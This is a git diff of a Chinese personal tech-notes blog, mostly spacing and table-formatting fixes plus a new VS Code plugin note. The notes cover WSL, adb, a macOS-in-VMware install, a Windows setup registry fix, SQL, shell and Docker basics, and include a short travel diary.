- 对于 ARM64 系统:版本 2004 或更高,内部版本 19041 或更高。
|
||||
|
||||
### 三、启用虚拟机功能
|
||||
|
||||
@ -79,18 +79,18 @@ wsl --set-default-version 2
|
||||
|
||||
### 六、安装 Linux 分发版
|
||||
|
||||
1. 访问Microsoft Store,下载想要安装的 Linux 分发版"
|
||||
1. 访问 Microsoft Store,下载想要安装的 Linux 分发版"
|
||||
2. 切换到 root 用户登录(如需):
|
||||
|
||||
在 PowerShell 中运行
|
||||
|
||||
1. 获取linux名称
|
||||
1. 获取 linux 名称
|
||||
|
||||
```bash
|
||||
wsl --list
|
||||
```
|
||||
|
||||
2. 切换root用户
|
||||
2. 切换 root 用户
|
||||
|
||||
```bash
|
||||
指定的Linux分发版 config --default-user root
|
||||
@ -98,7 +98,7 @@ wsl --set-default-version 2
|
||||
|
||||
## 常见问题处理
|
||||
|
||||
* **关闭 WSL 自动挂载 Windows 分区**:
|
||||
- **关闭 WSL 自动挂载 Windows 分区**:
|
||||
编辑 WSL 配置文件 `/etc/wsl.conf` 并添加内容以禁用自动挂载和 Windows 路径的添加。
|
||||
|
||||
```bash
|
||||
@ -111,19 +111,18 @@ wsl --set-default-version 2
|
||||
enabled = false
|
||||
```
|
||||
|
||||
* **解决无法定位 package screen 的问题**:
|
||||
- **解决无法定位 package screen 的问题**:
|
||||
在 Linux 分发版中运行 `apt-get update` 来更新软件包列表。
|
||||
* **WSL 卸载**:
|
||||
- **WSL 卸载**:
|
||||
查看已安装的 WSL 环境并卸载指定的 Linux 分发版。
|
||||
|
||||
```bash
|
||||
wsl --unregister 指定的Linux分发版
|
||||
```
|
||||
|
||||
* **解决 WSLRegisterDistribution 错误**:
|
||||
- **解决 WSLRegisterDistribution 错误**:
|
||||
在 PowerShell 中运行
|
||||
|
||||
```bash
|
||||
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
|
||||
```
|
||||
|
69
src/content/技术日志/windows/vscode配置.md
Normal file
69
src/content/技术日志/windows/vscode配置.md
Normal file
@ -0,0 +1,69 @@
|
||||
---
|
||||
title: "vscode配置"
|
||||
date: 2025-04-19T11:10:57+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 自动补全,语法检查
|
||||
|
||||
| 语言 | 插件 |
|
||||
| -------- | ---------------------------------------------------------------------------------------------------------- |
|
||||
| rust | [rust-analyzer](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust-analyzer) |
|
||||
| tailwind | [Tailwind CSS IntelliSense](https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss) |
|
||||
| markdown | [markdownlint](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint) |
|
||||
| toml | [Even Better TOML](https://marketplace.visualstudio.com/items?itemName=tamasfe.even-better-toml) |
|
||||
|
||||
## 格式化
|
||||
|
||||
### 格式化插件
|
||||
|
||||
| 插件 | 格式化言语 |
|
||||
| ------------------------------------------------------------------------------------------------ | ------------------- |
|
||||
| [prettier](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode) | js,md,css,html,yaml |
|
||||
| [Black Formatter](https://marketplace.visualstudio.com/items?itemName=ms-python.black-formatter) | python |
|
||||
| [shell-format](https://marketplace.visualstudio.com/items?itemName=foxundermoon.shell-format) | shell |
|
||||
|
||||
### 保存自动格式化
|
||||
|
||||
`settings.json`增加以下代码
|
||||
|
||||
```txt
|
||||
"editor.formatOnSave": true // 保存时自动规范代码
|
||||
```
|
||||
|
||||
## 其他
|
||||
|
||||
| 名称 | 作用 |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------- | ---------------------- |
|
||||
| [Atom Material Icons](https://marketplace.visualstudio.com/items?itemName=AtomMaterial.a-file-icon-vscode) | 美化图标 |
|
||||
| [Atom One Dark Theme](https://marketplace.visualstudio.com/items?itemName=akamud.vscode-theme-onedark) | 美化主题 |
|
||||
| [Live Preview](https://marketplace.visualstudio.com/items?itemName=ms-vscode.live-server) | 提供在线预览web项目 |
|
||||
| [Markdown Preview Github Styling](https://marketplace.visualstudio.com/items?itemName=bierner.markdown-preview-github-styles) | 提供markdown代码块样式 |
|
||||
| [Chinese (Simplified)](https://marketplace.visualstudio.com/items?itemName=MS-CEINTL.vscode-language-pack-zh-hans) | 简体中文语言包 |
|
||||
|
||||
## 非html文件中启用tailwind高亮提示
|
||||
|
||||
### 安装高亮插件
|
||||
|
||||
- [Tailwind CSS IntelliSense](https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss)
|
||||
- [PostCSS Language Support](https://marketplace.visualstudio.com/items?itemName=csstools.postcss)
|
||||
|
||||
### 启动高亮配置
|
||||
|
||||
>以rust为例
|
||||
|
||||
修改`setting.json`文件
|
||||
|
||||
```json
|
||||
// 配置识别的正则表达式
|
||||
"tailwindCSS.experimental.classRegex": [
|
||||
"class:\\s?\"(.*?)\"",
|
||||
"class:\\s?format!\\((\"(.*?)\")\\)"
|
||||
],
|
||||
// 配置识别的语言
|
||||
"tailwindCSS.includeLanguages": {
|
||||
"rust": "html"
|
||||
},
|
||||
```
|
@ -4,29 +4,29 @@ date: 2021-08-12T20:27:00+08:00
|
||||
tags: []
|
||||
---
|
||||
|
||||
## 1. 下载adb工具
|
||||
## 1. 下载 adb 工具
|
||||
|
||||
(1) 打开Android开发网,搜索"SDK Platform Tools",打开如下所示的[网站][1],可以看到有Windows\Mac\Linux三个版本的SDK Platform Tools,点击符合你电脑的版本下载它。adb工具就包含在这个工具中。
|
||||
(1) 打开 Android 开发网,搜索"SDK Platform Tools",打开如下所示的[网站][1],可以看到有 Windows\Mac\Linux 三个版本的 SDK Platform Tools,点击符合你电脑的版本下载它。adb 工具就包含在这个工具中。
|
||||
|
||||
(2) 如果打不开Android开发网,则需要魔法,确保能访问Google之后再来下载和安装adb。
|
||||
或者在一些第三方的网站上下载SDK Platform Tools。
|
||||
(2) 如果打不开 Android 开发网,则需要魔法,确保能访问 Google 之后再来下载和安装 adb。
|
||||
或者在一些第三方的网站上下载 SDK Platform Tools。
|
||||
|
||||
(3) 站长提供的[platform-tools_r31.0.3-windows][2]蓝奏云下载
|
||||
|
||||
## 2. adb安装和配置
|
||||
## 2. adb 安装和配置
|
||||
|
||||
(1) SDK Platform Tools下载后,在"platform-tools"路径下可以看到三个adb相关的文件。现在需要将这个路径添加到系统环境变量中。
|
||||
(1) SDK Platform Tools 下载后,在"platform-tools"路径下可以看到三个 adb 相关的文件。现在需要将这个路径添加到系统环境变量中。
|
||||
|
||||
(2) 添加环境变量:
|
||||
|
||||
- windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑Path,将步骤3个文件所在路径添加到Path变量值中。最后点击"确定"。
|
||||
- windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑Path
|
||||
- windows10: 打开我的电脑——高级系统设置——系统属性——高级——环境变量——编辑 Path,将步骤 3 个文件所在路径添加到 Path 变量值中。最后点击"确定"。
|
||||
- windows7: 右击我的电脑——属性——高级系统设置——高级——环境变量——编辑 Path
|
||||
|
||||
(3) 重新打开一个cmd窗口,输入adb,可以看到如下的窗口,有显示adb的版本和用法,这就说明adb正确安装好啦。
|
||||
(3) 重新打开一个 cmd 窗口,输入 adb,可以看到如下的窗口,有显示 adb 的版本和用法,这就说明 adb 正确安装好啦。
|
||||
|
||||
## 3. 下载驱动
|
||||
|
||||
去谷歌中国开发者网站上下载oem usb驱动程序,并在设备管理器选择正确的驱动程序
|
||||
去谷歌中国开发者网站上下载 oem usb 驱动程序,并在设备管理器选择正确的驱动程序
|
||||
驱动程序:[https://developer.android.google.cn/studio/run/oem-usb?hl=zh-cn][3]
|
||||
|
||||
[1]: https://developer.android.google.cn/studio/releases/platform-tools?hl=en
|
||||
|
@ -4,29 +4,29 @@ date: 2023-12-15T20:53:00Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
## 一、安装VMware Workstation Pro
|
||||
## 一、安装 VMware Workstation Pro
|
||||
|
||||
官方下载链接: [VMware Workstation Pro](https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html)
|
||||
激活教程: 百度
|
||||
|
||||
## 二、unlocker解锁VM以支持macOS系统
|
||||
## 二、unlocker 解锁 VM 以支持 macOS 系统
|
||||
|
||||
下载链接: [Unlocker Releases](https://github.com/DrDonk/unlocker/releases)
|
||||
|
||||
1. 完全关闭VMware
|
||||
1. 完全关闭 VMware
|
||||
2. 下载完成后,解压压缩包,右键点击`windows/unlock.exe`,选择以管理员模式运行。
|
||||
3. 提示`press enter key to continue`说明安装成功
|
||||
|
||||
## 三.下载 `macOS Recovery` 镜像
|
||||
|
||||
> macOS Recovery模式可以用来给mac 电脑恢复和重新安装操作系统,而虚拟机也可以通过此模式来安装 macOS
|
||||
> 操作系统,所以我们需要下载一个 macOS Recovery 镜像来引导虚拟机进入macOS Recovery模式。
|
||||
> macOS Recovery 模式可以用来给 mac 电脑恢复和重新安装操作系统,而虚拟机也可以通过此模式来安装 macOS
|
||||
> 操作系统,所以我们需要下载一个 macOS Recovery 镜像来引导虚拟机进入 macOS Recovery 模式。
|
||||
|
||||
### 1. 下载python(如果有可以跳过)
|
||||
### 1. 下载 python(如果有可以跳过)
|
||||
|
||||
Python官方下载地址:[Python下载地址](https://www.python.org/downloads/)
|
||||
Python 官方下载地址:[Python 下载地址](https://www.python.org/downloads/)
|
||||
|
||||
Microsoft下载地址: [Microsoft下载地址](https://apps.microsoft.com/search?query=pyhon&hl=zh-cn&gl=CN)
|
||||
Microsoft 下载地址: [Microsoft 下载地址](https://apps.microsoft.com/search?query=pyhon&hl=zh-cn&gl=CN)
|
||||
|
||||
### 2. 下载 macOS Recovery 镜像
|
||||
|
||||
@ -44,24 +44,24 @@ curl -OL https://raw.githubusercontent.com/acidanthera/OpenCorePkg/master/Utilit
|
||||
python3 macrecovery.py -b Mac-FFE5EF870D7BA81A -m 00000000000000000 download
|
||||
```
|
||||
|
||||
> 下载完成后,可以看到当前文件夹多出了一个com.apple.recovery.boot
|
||||
> 下载完成后,可以看到当前文件夹多出了一个 com.apple.recovery.boot
|
||||
>
|
||||
> 文件夹,打开之后有一个BaseSystem.dmg
|
||||
> 文件夹,打开之后有一个 BaseSystem.dmg
|
||||
>
|
||||
> 文件,这就是macOSRecovery镜像;但是此镜像不能直接用来引导虚拟机,需要转换一下格式才能用来引导虚拟机。
|
||||
> 文件,这就是 macOSRecovery 镜像;但是此镜像不能直接用来引导虚拟机,需要转换一下格式才能用来引导虚拟机。
|
||||
|
||||
下载macOSRecovery镜像的教程来自[这里](https://dortania.github.io/OpenCore-Install-Guide/installer-guide/windows-install.html)
|
||||
下载 macOSRecovery 镜像的教程来自[这里](https://dortania.github.io/OpenCore-Install-Guide/installer-guide/windows-install.html)
|
||||
|
||||
### 3. 转换 macOS Recovery 镜像
|
||||
|
||||
镜像需要用到 qemu-img 工具
|
||||
下载链接: [QEMU下载链接](https://qemu.weilnetz.de/w64/)
|
||||
下载链接: [QEMU 下载链接](https://qemu.weilnetz.de/w64/)
|
||||
|
||||
#### Ⅰ. 下载 qemu 之后,双击 qemu-w64-setup 程序进行安装
|
||||
|
||||
安装完毕后,和之前打开命令行的方法一样,打开cmd命令行进入`com.apple.recovery.boot`文件夹
|
||||
安装完毕后,和之前打开命令行的方法一样,打开 cmd 命令行进入`com.apple.recovery.boot`文件夹
|
||||
|
||||
Ⅱ. 打开此路径后,如果qemu-w64是默认安装就输入
|
||||
Ⅱ. 打开此路径后,如果 qemu-w64 是默认安装就输入
|
||||
|
||||
```bash
|
||||
c:\"Program Files"\qemu\qemu-img convert -O vmdk -o compat6 BaseSystem.dmg recovery.vmdk
|
||||
@ -85,11 +85,11 @@ CPU配置,处理器数量:1,内核数量:自定义
|
||||
|
||||
## 五.设置引导硬盘
|
||||
|
||||
点击虚拟机名字->编辑虚拟机设置->添加->硬盘->磁盘类型默认->使用现在已有虚拟磁盘 ->将选择第三步生成的recovery.vmdk->选择保持原有格式->然后保存
|
||||
点击虚拟机名字->编辑虚拟机设置->添加->硬盘->磁盘类型默认->使用现在已有虚拟磁盘 ->将选择第三步生成的 recovery.vmdk->选择保持原有格式->然后保存
|
||||
|
||||
## 六.开始安装
|
||||
|
||||
### 1.打开VMWare虚拟机,开启虚拟机电源,虚拟机会自动进入引导界面
|
||||
### 1.打开 VMWare 虚拟机,开启虚拟机电源,虚拟机会自动进入引导界面
|
||||
|
||||
### 2.选择语言
|
||||
|
||||
@ -104,7 +104,7 @@ CPU配置,处理器数量:1,内核数量:自定义
|
||||
|
||||
安装完成进入系统之后,需要安装 vmware-tools 工具,这样才可以调整窗口分辨率以及开启 HiDPI。右键点击 VMware 虚拟机管理界面的虚拟机选项即可看到 安装 vmware-tools 工具选项,点击后虚拟机内会弹出安装界面,按照提示一步步安装,然后重启即可。
|
||||
|
||||
## vmware安装苹果虚拟机卡在苹果图标位置不动或者最新AMD客户机操作系统已禁用 CPU。请关闭或重置虚拟机
|
||||
## vmware 安装苹果虚拟机卡在苹果图标位置不动或者最新 AMD 客户机操作系统已禁用 CPU。请关闭或重置虚拟机
|
||||
|
||||
修改虚拟机目录下`macOS 13.vmx`文件末尾加入
|
||||
|
||||
|
@ -6,17 +6,17 @@ tags: []
|
||||
|
||||
## 问题描述
|
||||
|
||||
本人在安装Windows 10操作系统的过程中遭遇断电,导致安装中断。再次进行安装一直报上面的错误。
|
||||
本人在安装 Windows 10 操作系统的过程中遭遇断电,导致安装中断。再次进行安装一直报上面的错误。
|
||||
|
||||
已尝试网上盛传的方法,使用Shift+F10打开命令行,进入`Windows\system32\oobe\`,打开`msoobe`,但这些尝试都没有反应。
|
||||
已尝试网上盛传的方法,使用 Shift+F10 打开命令行,进入`Windows\system32\oobe\`,打开`msoobe`,但这些尝试都没有反应。
|
||||
|
||||
## 解决方法
|
||||
|
||||
1. 按Shift+F10打开命令行窗口。
|
||||
1. 按 Shift+F10 打开命令行窗口。
|
||||
2. 输入`regedit`以打开注册表编辑器。
|
||||
3. 在注册表编辑器中找到路径`HKEY_LOCAL_MACHINE/SYSTEM/SETUP/STATUS/ChildCompletion`。
|
||||
4. 在`ChildCompletion`下找到名为`SETUP.EXE`的项,双击它。
|
||||
5. 修改数值数据从1修改为3,然后点击确定。
|
||||
5. 修改数值数据从 1 修改为 3,然后点击确定。
|
||||
6. 关闭注册表编辑器。
|
||||
7. 重新点击错误消息框的"确定"按钮。
|
||||
8. 电脑将自动重启,重新解析安装包再次进入安装系统。
|
||||
|
@ -28,7 +28,7 @@ tags: []
|
||||
|
||||
国外的公交车不适合i人,我打算从布城从地铁到市中心,需要先坐公交车到布城去,差10秒就赶上了,但是站台没人所以公交车司机没有停,第二次在休息区等了半个小时司机又没停,可能是司机没看到我吧,第三次我站在公交车站台等车的位置等待可是他还是没停,这次可能是没有给司机信号,第四次等公交车快到的时候我死死的看着司机,与他建立心灵链接,但他还是不停,浏览器查询原来要招手,用打车软件看了一下两公里,还是选择打车了
|
||||
|
||||
在去酒店的路上看到了很多流浪汉,不过感觉他们的穿搭和我没有区别,一个包+拖鞋,酒店的位置和平台给的地址不同还好遇到一个好心的印度男人,打电话和酒店交流,告诉我酒店在哪里
|
||||
在去酒店的路上看到了很多流浪汉,不过感觉他们的穿搭和我没有区别,一个包+拖鞋,历经大雨来到谷歌地图显示的位置,却找不到酒店,找了一个印度男人问路,他也找不到,他给酒店客服打电话后,告诉我不在这个区域,给我指路,往哪走再往哪走到一个塔下快到了问问别人,我一点没记住好在用高德地图重新导航,竟然没问题。
|
||||
|
||||
晚餐找了家本地人多的店,点了一个大虾饭,没想到是正宗印度菜,`米饭味道=70%八角+20%洗衣服+10%辣椒`
|
||||
|
||||
|
@ -12,7 +12,7 @@ tags: []
|
||||
|
||||
创建
|
||||
|
||||
````
|
||||
````sql
|
||||
create funcition 函数名(@参数 类型)
|
||||
returns 类型
|
||||
as
|
||||
@ -28,7 +28,7 @@ end
|
||||
|
||||
#### 方案一(处理复杂逻辑,函数体除了sql查询之外还有其他逻辑代码)
|
||||
|
||||
````
|
||||
````sql
|
||||
create function 函数名(@参数 类型)
|
||||
returns @表名 table
|
||||
(
|
||||
@ -44,7 +44,7 @@ end
|
||||
|
||||
#### 方案二(只能return+sql查询结果)
|
||||
|
||||
````
|
||||
````sql
|
||||
create function 函数名(@参数 类型)
|
||||
return table
|
||||
as
|
||||
|
@ -35,5 +35,4 @@ select @变量名=值
|
||||
|
||||
### go
|
||||
|
||||
1.等待go语句之前的代码执行完之后才能执行后面的代码
|
||||
2.批处理结束的一个标志
|
||||
1.等待 go 语句之前的代码执行完之后才能执行后面的代码 2.批处理结束的一个标志
|
||||
|
@ -36,7 +36,7 @@ alter table 表名 add constraint 约束名 primary key(列名)
|
||||
|
||||
#### 唯一
|
||||
|
||||
alter table 表名 add constraint 约束名unique(列名)
|
||||
alter table 表名 add constraint 约束名 unique(列名)
|
||||
|
||||
#### 默认值
|
||||
|
||||
|
@ -3,6 +3,7 @@ title: 触发器
|
||||
date: 2024-06-06T23:51:43Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
## instead of(事前触发器)
|
||||
|
||||
## After(事后触发器)
|
||||
|
@ -4,12 +4,11 @@ date: 2024-06-06T23:51:36Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
$n
|
||||
|
||||
> n代表数字,$1-$9代表第一到第九个参数,十以上需要用大括号把位置值包含类似 ${10}
|
||||
> n 代表数字,$1-$9 代表第一到第九个参数,十以上需要用大括号把位置值包含类似 ${10}
|
||||
|
||||
$*
|
||||
$\*
|
||||
|
||||
> 代表命令行中的所有参数(所有参数当作一个整体)
|
||||
|
||||
|
@ -8,17 +8,17 @@ tags: []
|
||||
|
||||
## 系统变量
|
||||
|
||||
|变量|作用|
|
||||
| ------| --------------------------------------|
|
||||
|`$USER`|当前用户的用户名|
|
||||
|`$HOME`|当前用户的家目录|
|
||||
|`$PATH`|包含可执行文件的目录列表,用冒号分隔|
|
||||
|`$PWD`|当前工作目录的路径|
|
||||
|`$SHELL`|当前正在使用的 Shell 的路径|
|
||||
|`$?`|表示上一个命令的退出状态|
|
||||
|`$$`|表示当前Shell进程的PID(进程ID)|
|
||||
|`$#`|表示传递给脚本的位置参数的数量|
|
||||
|`$1, $2, ...`|用于访问传递给脚本的参数|
|
||||
| 变量 | 作用 |
|
||||
| --------------- | ------------------------------------ |
|
||||
| `$USER` | 当前用户的用户名 |
|
||||
| `$HOME` | 当前用户的家目录 |
|
||||
| `$PATH` | 包含可执行文件的目录列表,用冒号分隔 |
|
||||
| `$PWD` | 当前工作目录的路径 |
|
||||
| `$SHELL` | 当前正在使用的 Shell 的路径 |
|
||||
| `$?` | 表示上一个命令的退出状态 |
|
||||
| `$$` | 表示当前 Shell 进程的 PID(进程 ID) |
|
||||
| `$#` | 表示传递给脚本的位置参数的数量 |
|
||||
| `$1, $2, ...` | 用于访问传递给脚本的参数 |
|
||||
|
||||
## 定义变量
|
||||
|
||||
@ -46,7 +46,7 @@ unset 变量
|
||||
|
||||
``=$()
|
||||
例如
|
||||
A=`ls -l`等于A=$(ls -l)
|
||||
A=`ls -l`等于 A=$(ls -l)
|
||||
|
||||
|
||||
|
||||
|
@ -4,72 +4,71 @@ date: 2024-06-06T23:51:45Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
### 基本和高级条件表达式操作符
|
||||
|
||||
|符号|作用|
|
||||
| ------| -------------------------------------------------------------------------|
|
||||
|`{}`|代码块,不创建新的子shell,用于组织一系列的命令|
|
||||
|`()`|创建一个子shell,并在其中执行命令|
|
||||
|`[[]]`|执行高级条件表达式,支持模式匹配、正则表达式等|
|
||||
|`$`|用于变量引用、命令替换、算术运算等|
|
||||
|`\|`|管道运算符,将一个命令的输出作为另一个命令的输入|
|
||||
|`!`|逻辑非运算符,用于否定一个条件表达式的结果|
|
||||
|`&&`|逻辑与运算符,如果左边的命令/条件表达式返回真(成功),则执行右边的命令|
|
||||
|`\|\|`|逻辑或运算符,如果左边的命令/条件表达式返回假(失败),则执行右边的命令|
|
||||
| 符号 | 作用 |
|
||||
| -------- | ----------------------------------------------------------------------- |
|
||||
| `{}` | 代码块,不创建新的子 shell,用于组织一系列的命令 |
|
||||
| `()` | 创建一个子 shell,并在其中执行命令 |
|
||||
| `[[]]` | 执行高级条件表达式,支持模式匹配、正则表达式等 |
|
||||
| `$` | 用于变量引用、命令替换、算术运算等 |
|
||||
| `\|` | 管道运算符,将一个命令的输出作为另一个命令的输入 |
|
||||
| `!` | 逻辑非运算符,用于否定一个条件表达式的结果 |
|
||||
| `&&` | 逻辑与运算符,如果左边的命令/条件表达式返回真(成功),则执行右边的命令 |
|
||||
| `\|\|` | 逻辑或运算符,如果左边的命令/条件表达式返回假(失败),则执行右边的命令 |
|
||||
|
||||
### 特殊
|
||||
|
||||
|符号|作用|
|
||||
| ------| ----------------------|
|
||||
|`\|`|在正则中表示或|
|
||||
|`!`|在引用中表示间距引用|
|
||||
|`#`|在数组中表示长度|
|
||||
| 符号 | 作用 |
|
||||
| ------ | -------------------- |
|
||||
| `\|` | 在正则中表示或 |
|
||||
| `!` | 在引用中表示间距引用 |
|
||||
| `#` | 在数组中表示长度 |
|
||||
|
||||
### 条件操作符
|
||||
|
||||
|操作符|描述|
|
||||
| --------| ------------------------------------------------------------|
|
||||
|`=`|字符串比较(相等)|
|
||||
|`!=`|字符串比较(不等)|
|
||||
|`-lt`|数值比较(小于)|
|
||||
|`-gt`|数值比较(大于)|
|
||||
|`-le`|数值比较(小于等于)|
|
||||
|`-ge`|数值比较(大于等于)|
|
||||
|`-eq`|数值比较(等于)|
|
||||
|`-ne`|数值比较(不等于)|
|
||||
|`=~`|正则表达式匹配|
|
||||
|`-z`|字符串为空|
|
||||
|`-n`|字符串不为空|
|
||||
|`:=`|在参数扩展中使用,用于在变量未设置或为空时赋予一个默认值|
|
||||
| 操作符 | 描述 |
|
||||
| ------- | ----------------------------------------------------------- |
|
||||
| `=` | 字符串比较(相等) |
|
||||
| `!=` | 字符串比较(不等) |
|
||||
| `-lt` | 数值比较(小于) |
|
||||
| `-gt` | 数值比较(大于) |
|
||||
| `-le` | 数值比较(小于等于) |
|
||||
| `-ge` | 数值比较(大于等于) |
|
||||
| `-eq` | 数值比较(等于) |
|
||||
| `-ne` | 数值比较(不等于) |
|
||||
| `=~` | 正则表达式匹配 |
|
||||
| `-z` | 字符串为空 |
|
||||
| `-n` | 字符串不为空 |
|
||||
| `:=` | 在参数扩展中使 用,用于在变量未设置或为空时赋予一个默认值 |
|
||||
|
||||
### 逻辑操作符详解
|
||||
|
||||
|操作符|描述|
|
||||
| --------| ---------------|
|
||||
|`&&`|逻辑与(AND)|
|
||||
|`\|\|`|逻辑或(OR)|
|
||||
|`!`|逻辑非(NOT)|
|
||||
| 操作符 | 描述 |
|
||||
| -------- | ------------- |
|
||||
| `&&` | 逻辑与(AND) |
|
||||
| `\|\|` | 逻辑或(OR) |
|
||||
| `!` | 逻辑非(NOT) |
|
||||
|
||||
### 算术操作符详解
|
||||
|
||||
|操作符|描述|
|
||||
| --------| --------|
|
||||
|`+`|加法|
|
||||
|`-`|减法|
|
||||
|`*`|乘法|
|
||||
|`/`|除法|
|
||||
|`%`|取模|
|
||||
|`**`|幂运算|
|
||||
| 操作符 | 描述 |
|
||||
| ------ | ------ |
|
||||
| `+` | 加法 |
|
||||
| `-` | 减法 |
|
||||
| `*` | 乘法 |
|
||||
| `/` | 除法 |
|
||||
| `%` | 取模 |
|
||||
| `**` | 幂运算 |
|
||||
|
||||
### 文件测试操作符
|
||||
|
||||
|操作符|描述|示例|
|
||||
| --------| ----------------------| ------|
|
||||
|`-f`|文件存在且为普通文件|`if [[ -f $file ]]`|
|
||||
|`-d`|目录存在|`if [[ -d $directory ]]`|
|
||||
|`-e`|文件存在|`if [[ -e $filepath ]]`|
|
||||
|`-r`|文件存在且可读|`if [[ -r $file ]]`|
|
||||
|`-w`|文件存在且可写|`if [[ -w $file ]]`|
|
||||
|`-x`|文件存在且可执行|`if [[ -x $file ]]`|
|
||||
|`-s`|文件存在且非空|`if [[ -s $file ]]`|
|
||||
| 操作符 | 描述 | 示例 |
|
||||
| ------ | -------------------- | -------------------------- |
|
||||
| `-f` | 文件存在且为普通文件 | `if [[ -f $file ]]` |
|
||||
| `-d` | 目录存在 | `if [[ -d $directory ]]` |
|
||||
| `-e` | 文件存在 | `if [[ -e $filepath ]]` |
|
||||
| `-r` | 文件存在且可读 | `if [[ -r $file ]]` |
|
||||
| `-w` | 文件存在且可写 | `if [[ -w $file ]]` |
|
||||
| `-x` | 文件存在且可执行 | `if [[ -x $file ]]` |
|
||||
| `-s` | 文件存在且非空 | `if [[ -s $file ]]` |
|
||||
|
@ -37,15 +37,15 @@ case <expression> in
|
||||
esac
|
||||
```
|
||||
|
||||
case关键字表示开始一个case语句块。
|
||||
expression是需要匹配的表达式或变量。
|
||||
pattern1, pattern2, pattern3等是可能的匹配模式。
|
||||
command1, command2, command3是与每个模式匹配时要执行的命令。
|
||||
*)是通配符,用于匹配所有不符合前面模式的情况。
|
||||
default_command是当没有匹配模式时执行的命令。
|
||||
case 关键字表示开始一个 case 语句块。
|
||||
expression 是需要匹配的表达式或变量。
|
||||
pattern1, pattern2, pattern3 等是可能的匹配模式。
|
||||
command1, command2, command3 是与每个模式匹配时要执行的命令。
|
||||
\*)是通配符,用于匹配所有不符合前面模式的情况。
|
||||
default_command 是当没有匹配模式时执行的命令。
|
||||
;;用于标识每个模式下命令的结束。
|
||||
|
||||
## for循环
|
||||
## for 循环
|
||||
|
||||
### 第一种
|
||||
|
||||
|
@ -4,8 +4,7 @@ date: 2024-06-06T23:51:42Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
## 将Shell变量输出为环境变量
|
||||
## 将 Shell 变量输出为环境变量
|
||||
|
||||
`export 变量名=变量值`
|
||||
|
||||
|
@ -4,7 +4,6 @@ date: 2024-06-06T23:51:42Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
## 方法一:使用 function 关键字
|
||||
|
||||
```shell
|
||||
|
@ -4,15 +4,14 @@ date: 2024-06-06T23:51:38Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
## 脚本要求
|
||||
|
||||
脚本以`#!/bin/bash`开头
|
||||
用来指定哪一个shell进行解析,脚本需要可执行权限
|
||||
用来指定哪一个 shell 进行解析,脚本需要可执行权限
|
||||
|
||||
## 脚本后缀
|
||||
|
||||
通用sh(不限制后缀)
|
||||
通用 sh(不限制后缀)
|
||||
|
||||
## 执行方法
|
||||
|
||||
@ -21,6 +20,6 @@ tags: []
|
||||
> 赋可执行权限
|
||||
> 输入程序相对路径或绝对路径
|
||||
|
||||
### 2.用bash
|
||||
### 2.用 bash
|
||||
|
||||
bash+绝对路径或相对路劲
|
||||
|
@ -4,33 +4,33 @@ date: 2024-07-02T13:04:06Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
### 常见命令
|
||||
|
||||
* 创建运行容器
|
||||
- 创建运行容器
|
||||
|
||||
```docker
|
||||
docker run [options] IMAGE [command]
|
||||
```
|
||||
|
||||
* command
|
||||
- command
|
||||
|
||||
* `-d`:后台运行
|
||||
* `--name [name]`:容器名称
|
||||
* `-p [host port]:[container port]`:映射端口
|
||||
* `-v [/host/data]:[/container/data]`:绑定挂载一个数据卷,如果数据卷不存在会自动创建
|
||||
* `-e [KEY]=[VALUE]`:环境变量
|
||||
* `--network [my-network]`:指定连接到一个网络
|
||||
* `[image]:[tag]`:未指定版本时,默认是latest,代表最新版本
|
||||
* 拉取镜像
|
||||
- `-d`:后台运行
|
||||
- `--name [name]`:容器名称
|
||||
- `-p [host port]:[container port]`:映射端口
|
||||
- `-v [/host/data]:[/container/data]`:绑定挂载一个数据卷,如果数据卷不存在会自动创建
|
||||
- `-e [KEY]=[VALUE]`:环境变量
|
||||
- `--network [my-network]`:指定连接到一个网络
|
||||
- `[image]:[tag]`:未指定版本时,默认是 latest,代表最新版本
|
||||
|
||||
未指定版本时,默认是latest,代表最新版本
|
||||
- 拉取镜像
|
||||
|
||||
未指定版本时,默认是 latest,代表最新版本
|
||||
|
||||
```docker
|
||||
docker pull [image]:[tag]
|
||||
```
|
||||
|
||||
* 查看指定镜像
|
||||
- 查看指定镜像
|
||||
|
||||
不写镜像名查看所有镜像
|
||||
|
||||
@ -38,112 +38,117 @@ tags: []
|
||||
docker images [image]
|
||||
```
|
||||
|
||||
* 删除指定镜像
|
||||
- 删除指定镜像
|
||||
|
||||
```docker
|
||||
docker rmi [image]
|
||||
```
|
||||
|
||||
* 保存镜像
|
||||
- 保存镜像
|
||||
|
||||
```docker
|
||||
docker [options] sava [image:tag]
|
||||
```
|
||||
|
||||
* options
|
||||
- options
|
||||
|
||||
* `-o [name]`:文件保存文件名
|
||||
* 加载镜像
|
||||
- `-o [name]`:文件保存文件名
|
||||
|
||||
- 加载镜像
|
||||
|
||||
```docker
|
||||
docker load [OPTIONS]
|
||||
```
|
||||
|
||||
* options
|
||||
- options
|
||||
|
||||
* `-i [name]`:镜像文件名
|
||||
* `-q`:不输入提示内容
|
||||
* 列出运行的容器
|
||||
- `-i [name]`:镜像文件名
|
||||
- `-q`:不输入提示内容
|
||||
|
||||
- 列出运行的容器
|
||||
|
||||
```docker
|
||||
docker ps [options]
|
||||
```
|
||||
|
||||
* options
|
||||
- options
|
||||
|
||||
* `-a`:列出包括未运行的容器
|
||||
* `-q`:仅显示容器ID
|
||||
* 停止容器
|
||||
- `-a`:列出包括未运行的容器
|
||||
- `-q`:仅显示容器 ID
|
||||
|
||||
- 停止容器
|
||||
|
||||
```docker
|
||||
docker stop [container]
|
